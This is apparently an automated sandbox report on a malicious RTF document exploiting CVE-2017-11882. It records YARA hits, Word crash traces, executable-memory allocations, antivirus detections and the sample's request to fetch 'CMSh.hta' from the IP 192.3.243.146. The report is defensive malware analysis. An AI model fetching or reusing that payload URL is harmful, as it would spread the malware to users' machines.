Summary | ZeroBOX

CMSHCMSHCMSHCMSHCMSHCMSH%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23CMSHCMSHCMSHCMSHCMSH.doc

MS_RTF_Obfuscation_Objects doc RTF File
Category Machine Started Completed
FILE s1_win7_x6401 July 26, 2023, 7:48 a.m. July 26, 2023, 7:53 a.m.
Size 24.9KB
Type ISO-8859 text, with very long lines, with CR, LF line terminators
MD5 0697564d77f5fbf7c18d046b70afecb1
SHA256 8e32b8fdc7c08414a82662fa1a6e0c92a1332631c60e96760a6dec9f3fe07978
CRC32 BEDEAE46
ssdeep 768:8WobqVG5GNK3UqGEQ6pBqi4aZYCVoUfHTQDd/4K4Im0o:eqVG5GN9qKRSZYCKU0DZ4b
Yara
  • Rich_Text_Format_Zero - Rich Text Format Signature Zero
  • SUSP_INDICATOR_RTF_MalVer_Objects - Detects RTF documents with non-standard version and embedding one of the object mostly observed in exploit (e.g. CVE-2017-11882) documents.
  • MS_RTF_Suspicious_documents - Suspicious documents using RTF document OLE object

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
192.3.243.146 Active Moloch

Time & API Arguments Status Return Repeated

__exception__

stacktrace:
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x75c5374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x747ff725
NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x75c6414b
WdtpInterfacePointer_UserUnmarshal+0x166b DllDebugObjectRPCHook-0x2d8d ole32+0x13c8e2 @ 0x747fc8e2
CoRegisterMessageFilter+0x32b4 ObjectStublessClient5-0x1db5 ole32+0x398ad @ 0x746f98ad
OleCreateEmbeddingHelper+0x2a1 CreateFileMoniker-0x17de ole32+0x81414 @ 0x74741414
ObjectStublessClient31+0x6af8 STGMEDIUM_UserUnmarshal-0x22bb6 ole32+0x97b68 @ 0x74757b68
wdGetApplicationObject+0x131f9 wdCommandDispatch-0x4c476 wwlib+0x394dff @ 0x72124dff
DllCanUnloadNow+0xbaf5e wwlib+0x9692a0 @ 0x726f92a0
DllCanUnloadNow+0x339ef0 wwlib+0xbe8232 @ 0x72978232
DllCanUnloadNow+0x54e0c9 wwlib+0xdfc40b @ 0x72b8c40b
DllCanUnloadNow+0x55865b wwlib+0xe0699d @ 0x72b9699d
DllCanUnloadNow+0x33bec4 wwlib+0xbea206 @ 0x7297a206
DllCanUnloadNow+0xbd684 wwlib+0x96b9c6 @ 0x726fb9c6
DllCanUnloadNow+0x215f8 wwlib+0x8cf93a @ 0x7265f93a
DllGetClassObject+0x2d9ac DllGetLCID-0x22ded4 wwlib+0x325f6 @ 0x71dc25f6
DllGetClassObject+0x5b213 DllGetLCID-0x20066d wwlib+0x5fe5d @ 0x71defe5d
DllGetClassObject+0x5a904 DllGetLCID-0x200f7c wwlib+0x5f54e @ 0x71def54e
DllCanUnloadNow+0x3200d6 wwlib+0xbce418 @ 0x7295e418
DllCanUnloadNow+0x2d334c wwlib+0xb8168e @ 0x7291168e
DllGetClassObject+0x157e7 DllGetLCID-0x246099 wwlib+0x1a431 @ 0x71daa431
DllGetClassObject+0x3b23 DllGetLCID-0x257d5d wwlib+0x876d @ 0x71d9876d
FMain+0x482 DllGetClassObject-0x266 wwlib+0x49e4 @ 0x71d949e4
wdCommandDispatch-0x2ed winword+0x15d7 @ 0x2f8515d7
wdCommandDispatch-0x367 winword+0x155d @ 0x2f85155d
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x800706be
exception.offset: 46887
exception.address: 0x7597b727
registers.esp: 4540812
registers.edi: 1953561104
registers.eax: 4540812
registers.ebp: 4540892
registers.edx: 0
registers.ebx: 5587900
registers.esi: 2147944126
registers.ecx: 210409587
1 0 0

__exception__

stacktrace:
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x75c5374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x747ff725
NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x75c6414b
WdtpInterfacePointer_UserUnmarshal+0x166b DllDebugObjectRPCHook-0x2d8d ole32+0x13c8e2 @ 0x747fc8e2
CoRegisterMessageFilter+0x32b4 ObjectStublessClient5-0x1db5 ole32+0x398ad @ 0x746f98ad
CoRegisterMessageFilter+0x5048 ObjectStublessClient5-0x21 ole32+0x3b641 @ 0x746fb641
CoRegisterMessageFilter+0x4ff4 ObjectStublessClient5-0x75 ole32+0x3b5ed @ 0x746fb5ed
CoRegisterMessageFilter+0x4b79 ObjectStublessClient5-0x4f0 ole32+0x3b172 @ 0x746fb172
CoRegisterMessageFilter+0x4075 ObjectStublessClient5-0xff4 ole32+0x3a66e @ 0x746fa66e
ObjectStublessClient31+0x2961c STGMEDIUM_UserUnmarshal-0x92 ole32+0xba68c @ 0x7477a68c
ObjectStublessClient31+0x6776 STGMEDIUM_UserUnmarshal-0x22f38 ole32+0x977e6 @ 0x747577e6
OleCreateEmbeddingHelper+0x344 CreateFileMoniker-0x173b ole32+0x814b7 @ 0x747414b7
ObjectStublessClient31+0x6af8 STGMEDIUM_UserUnmarshal-0x22bb6 ole32+0x97b68 @ 0x74757b68
wdGetApplicationObject+0x131f9 wdCommandDispatch-0x4c476 wwlib+0x394dff @ 0x72124dff
DllCanUnloadNow+0xbaf5e wwlib+0x9692a0 @ 0x726f92a0
DllCanUnloadNow+0x339ef0 wwlib+0xbe8232 @ 0x72978232
DllCanUnloadNow+0x54e0c9 wwlib+0xdfc40b @ 0x72b8c40b
DllCanUnloadNow+0x55865b wwlib+0xe0699d @ 0x72b9699d
DllCanUnloadNow+0x33bec4 wwlib+0xbea206 @ 0x7297a206
DllCanUnloadNow+0xbd684 wwlib+0x96b9c6 @ 0x726fb9c6
DllCanUnloadNow+0x215f8 wwlib+0x8cf93a @ 0x7265f93a
DllGetClassObject+0x2d9ac DllGetLCID-0x22ded4 wwlib+0x325f6 @ 0x71dc25f6
DllGetClassObject+0x5b213 DllGetLCID-0x20066d wwlib+0x5fe5d @ 0x71defe5d
DllGetClassObject+0x5a904 DllGetLCID-0x200f7c wwlib+0x5f54e @ 0x71def54e
DllCanUnloadNow+0x3200d6 wwlib+0xbce418 @ 0x7295e418
DllCanUnloadNow+0x2d334c wwlib+0xb8168e @ 0x7291168e
DllGetClassObject+0x157e7 DllGetLCID-0x246099 wwlib+0x1a431 @ 0x71daa431
DllGetClassObject+0x3b23 DllGetLCID-0x257d5d wwlib+0x876d @ 0x71d9876d
FMain+0x482 DllGetClassObject-0x266 wwlib+0x49e4 @ 0x71d949e4
wdCommandDispatch-0x2ed winword+0x15d7 @ 0x2f8515d7
wdCommandDispatch-0x367 winword+0x155d @ 0x2f85155d
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x800706ba
exception.offset: 46887
exception.address: 0x7597b727
registers.esp: 4540504
registers.edi: 1953561104
registers.eax: 4540504
registers.ebp: 4540584
registers.edx: 0
registers.ebx: 5588116
registers.esi: 2147944122
registers.ecx: 210409587
1 0 0
suspicious_features Connection to IP address suspicious_request GET http://192.3.243.146/ibi/CMSh.hta
request GET http://192.3.243.146/ibi/CMSh.hta
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x65001000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6e531000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05800000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05800000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05810000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2544
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05820000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6a751000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6a754000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x507c1000
process_handle: 0xffffffff
1 0 0
Application Crash Process WINWORD.EXE with pid 2544 crashed
Time & API Arguments Status Return Repeated

__exception__

stacktrace:
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x75c5374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x747ff725
NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x75c6414b
WdtpInterfacePointer_UserUnmarshal+0x166b DllDebugObjectRPCHook-0x2d8d ole32+0x13c8e2 @ 0x747fc8e2
CoRegisterMessageFilter+0x32b4 ObjectStublessClient5-0x1db5 ole32+0x398ad @ 0x746f98ad
OleCreateEmbeddingHelper+0x2a1 CreateFileMoniker-0x17de ole32+0x81414 @ 0x74741414
ObjectStublessClient31+0x6af8 STGMEDIUM_UserUnmarshal-0x22bb6 ole32+0x97b68 @ 0x74757b68
wdGetApplicationObject+0x131f9 wdCommandDispatch-0x4c476 wwlib+0x394dff @ 0x72124dff
DllCanUnloadNow+0xbaf5e wwlib+0x9692a0 @ 0x726f92a0
DllCanUnloadNow+0x339ef0 wwlib+0xbe8232 @ 0x72978232
DllCanUnloadNow+0x54e0c9 wwlib+0xdfc40b @ 0x72b8c40b
DllCanUnloadNow+0x55865b wwlib+0xe0699d @ 0x72b9699d
DllCanUnloadNow+0x33bec4 wwlib+0xbea206 @ 0x7297a206
DllCanUnloadNow+0xbd684 wwlib+0x96b9c6 @ 0x726fb9c6
DllCanUnloadNow+0x215f8 wwlib+0x8cf93a @ 0x7265f93a
DllGetClassObject+0x2d9ac DllGetLCID-0x22ded4 wwlib+0x325f6 @ 0x71dc25f6
DllGetClassObject+0x5b213 DllGetLCID-0x20066d wwlib+0x5fe5d @ 0x71defe5d
DllGetClassObject+0x5a904 DllGetLCID-0x200f7c wwlib+0x5f54e @ 0x71def54e
DllCanUnloadNow+0x3200d6 wwlib+0xbce418 @ 0x7295e418
DllCanUnloadNow+0x2d334c wwlib+0xb8168e @ 0x7291168e
DllGetClassObject+0x157e7 DllGetLCID-0x246099 wwlib+0x1a431 @ 0x71daa431
DllGetClassObject+0x3b23 DllGetLCID-0x257d5d wwlib+0x876d @ 0x71d9876d
FMain+0x482 DllGetClassObject-0x266 wwlib+0x49e4 @ 0x71d949e4
wdCommandDispatch-0x2ed winword+0x15d7 @ 0x2f8515d7
wdCommandDispatch-0x367 winword+0x155d @ 0x2f85155d
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x800706be
exception.offset: 46887
exception.address: 0x7597b727
registers.esp: 4540812
registers.edi: 1953561104
registers.eax: 4540812
registers.ebp: 4540892
registers.edx: 0
registers.ebx: 5587900
registers.esi: 2147944126
registers.ecx: 210409587
1 0 0

__exception__

stacktrace:
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x75c5374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x747ff725
NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x75c6414b
WdtpInterfacePointer_UserUnmarshal+0x166b DllDebugObjectRPCHook-0x2d8d ole32+0x13c8e2 @ 0x747fc8e2
CoRegisterMessageFilter+0x32b4 ObjectStublessClient5-0x1db5 ole32+0x398ad @ 0x746f98ad
CoRegisterMessageFilter+0x5048 ObjectStublessClient5-0x21 ole32+0x3b641 @ 0x746fb641
CoRegisterMessageFilter+0x4ff4 ObjectStublessClient5-0x75 ole32+0x3b5ed @ 0x746fb5ed
CoRegisterMessageFilter+0x4b79 ObjectStublessClient5-0x4f0 ole32+0x3b172 @ 0x746fb172
CoRegisterMessageFilter+0x4075 ObjectStublessClient5-0xff4 ole32+0x3a66e @ 0x746fa66e
ObjectStublessClient31+0x2961c STGMEDIUM_UserUnmarshal-0x92 ole32+0xba68c @ 0x7477a68c
ObjectStublessClient31+0x6776 STGMEDIUM_UserUnmarshal-0x22f38 ole32+0x977e6 @ 0x747577e6
OleCreateEmbeddingHelper+0x344 CreateFileMoniker-0x173b ole32+0x814b7 @ 0x747414b7
ObjectStublessClient31+0x6af8 STGMEDIUM_UserUnmarshal-0x22bb6 ole32+0x97b68 @ 0x74757b68
wdGetApplicationObject+0x131f9 wdCommandDispatch-0x4c476 wwlib+0x394dff @ 0x72124dff
DllCanUnloadNow+0xbaf5e wwlib+0x9692a0 @ 0x726f92a0
DllCanUnloadNow+0x339ef0 wwlib+0xbe8232 @ 0x72978232
DllCanUnloadNow+0x54e0c9 wwlib+0xdfc40b @ 0x72b8c40b
DllCanUnloadNow+0x55865b wwlib+0xe0699d @ 0x72b9699d
DllCanUnloadNow+0x33bec4 wwlib+0xbea206 @ 0x7297a206
DllCanUnloadNow+0xbd684 wwlib+0x96b9c6 @ 0x726fb9c6
DllCanUnloadNow+0x215f8 wwlib+0x8cf93a @ 0x7265f93a
DllGetClassObject+0x2d9ac DllGetLCID-0x22ded4 wwlib+0x325f6 @ 0x71dc25f6
DllGetClassObject+0x5b213 DllGetLCID-0x20066d wwlib+0x5fe5d @ 0x71defe5d
DllGetClassObject+0x5a904 DllGetLCID-0x200f7c wwlib+0x5f54e @ 0x71def54e
DllCanUnloadNow+0x3200d6 wwlib+0xbce418 @ 0x7295e418
DllCanUnloadNow+0x2d334c wwlib+0xb8168e @ 0x7291168e
DllGetClassObject+0x157e7 DllGetLCID-0x246099 wwlib+0x1a431 @ 0x71daa431
DllGetClassObject+0x3b23 DllGetLCID-0x257d5d wwlib+0x876d @ 0x71d9876d
FMain+0x482 DllGetClassObject-0x266 wwlib+0x49e4 @ 0x71d949e4
wdCommandDispatch-0x2ed winword+0x15d7 @ 0x2f8515d7
wdCommandDispatch-0x367 winword+0x155d @ 0x2f85155d
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x800706ba
exception.offset: 46887
exception.address: 0x7597b727
registers.esp: 4540504
registers.edi: 1953561104
registers.eax: 4540504
registers.ebp: 4540584
registers.edx: 0
registers.ebx: 5588116
registers.esi: 2147944122
registers.ecx: 210409587
1 0 0
file C:\Users\test22\AppData\Local\Temp\~$SHCMSHCMSHCMSHCMSHCMSH##################CMSHCMSHCMSHCMSHCMSH.doc
Time & API Arguments Status Return Repeated

NtCreateFile

create_disposition: 5 (FILE_OVERWRITE_IF)
file_handle: 0x000003ec
filepath: C:\Users\test22\AppData\Local\Temp\~$SHCMSHCMSHCMSHCMSHCMSH##################CMSHCMSHCMSHCMSHCMSH.doc
desired_access: 0x40100080 (FILE_READ_ATTRIBUTES|SYNCHRONIZE|GENERIC_WRITE)
file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN)
filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$SHCMSHCMSHCMSHCMSHCMSH##################CMSHCMSHCMSHCMSHCMSH.doc
create_options: 4194400 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT)
status_info: 2 (FILE_CREATED)
share_access: 0 ()
1 0 0
host 192.3.243.146
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!0697564D77F5
Sangfor Malware.Generic-RTF.Save.7ed7ea68
Arcabit Exploit.RTF-ObfsStrm.Gen
Cyren CVE-2017-11882.D.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
Tencent Exp.Ole.CVE-2017-11882.a
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Sophos Troj/RtfExp-EQ
Avira HEUR/Rtf.Malformed
MAX malware (ai score=81)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Zoner Probably Heur.RTFBadHeader
Ikarus Exploit.CVE-2017-11882
Fortinet MSOffice/CVE_2017_11882.B!exploit